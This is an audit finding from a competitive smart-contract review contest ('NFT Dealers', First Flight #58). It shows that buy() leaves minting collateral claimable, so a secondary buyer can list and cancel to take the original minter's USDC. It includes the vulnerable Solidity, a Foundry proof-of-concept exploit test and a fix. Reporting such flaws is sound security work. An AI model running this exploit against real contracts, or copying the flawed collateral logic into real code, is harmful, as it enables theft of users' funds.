NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Secondary buyer steals original minter's collateral via `cancelListing`

Author Revealed upon completion

Description

When an NFT is minted, the protocol stores the minter's locked USDC in collateralForMinting[tokenId], intended to be returned to that minter upon sale. The buy() function correctly transfers the NFT to the buyer but does not clear or reassign collateralForMinting[tokenId].

Any whitelisted wallet that subsequently acquires the NFT can call list() followed by cancelListing(). The cancel function transfers collateralForMinting[tokenId] to listing.seller — whichever address listed most recently — not to the original minter. The secondary buyer paid no collateral yet receives the minter's locked funds.

// buy() transfers the NFT but never clears or reassigns the collateral mapping
function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
// @> collateralForMinting[listing.tokenId] is NOT cleared or reassigned to buyer
emit NFT_Dealers_Sold(msg.sender, listing.price);
}
​
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
​
s_listings[_listingId].isActive = false;
activeListingsCounter--;
// @> listing.seller is the secondary buyer, NOT the original minter
// @> Secondary buyer who paid zero collateral receives the minter's locked USDC
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
​
emit NFT_Dealers_ListingCanceled(_listingId);
}

Root Cause

File: src/NFTDealers.sol

The root cause is that buy() transfers ownership of the NFT but never clears or reassigns collateralForMinting[listing.tokenId]. The collateral mapping is tied to the token, not to the address that paid it, and no function updates the mapping's owner when the NFT changes hands. This leaves a permanently claimable collateral balance attached to the token that any future lister can extract via cancelListing().

Risk

Likelihood:

  • Every whitelisted secondary buyer who purchases an NFT on the marketplace can immediately execute this by calling list() then cancelListing() in the same transaction or back-to-back.

  • The collateral remains claimable indefinitely after each resale — every new whitelisted holder of an NFT has access to the full original minting collateral until it is claimed.

Impact:

  • Original minters permanently lose their locked collateral to any subsequent whitelisted holder who lists and cancels.

  • The collateral protection mechanism — the protocol's core economic invariant — provides no actual guarantee to minters; it is freely extractable by any later whitelisted holder.

Proof of Concept

function test_secondaryBuyerStealsCollateral() public revealed {
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
​
// Alice mints — 20 USDC locked as collateral
usdc.mint(alice, 20e6);
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // collateralForMinting[1] = 20 USDC
nftDealers.list(1, 500e6);
vm.stopPrank();
​
// Bob buys — NFT transferred, collateralForMinting[1] still = 20 USDC
usdc.mint(bob, 500e6);
vm.startPrank(bob);
usdc.approve(address(nftDealers), 500e6);
nftDealers.buy(1);
​
uint256 bobBalanceBefore = usdc.balanceOf(bob);
​
// Bob lists then immediately cancels — steals Alice's 20 USDC collateral
nftDealers.list(1, 500e6);
nftDealers.cancelListing(1);
vm.stopPrank();
​
// Bob gained 20 USDC that belonged to Alice
assertEq(usdc.balanceOf(bob), bobBalanceBefore + 20e6);
assertEq(nftDealers.collateralForMinting(1), 0);
}

Recommended Mitigation

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
+ // Return collateral to the seller at point of sale; do not leave it claimable
+ uint256 collateral = collateralForMinting[listing.tokenId];
+ collateralForMinting[listing.tokenId] = 0;
+ if (collateral > 0) usdc.safeTransfer(listing.seller, collateral);
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!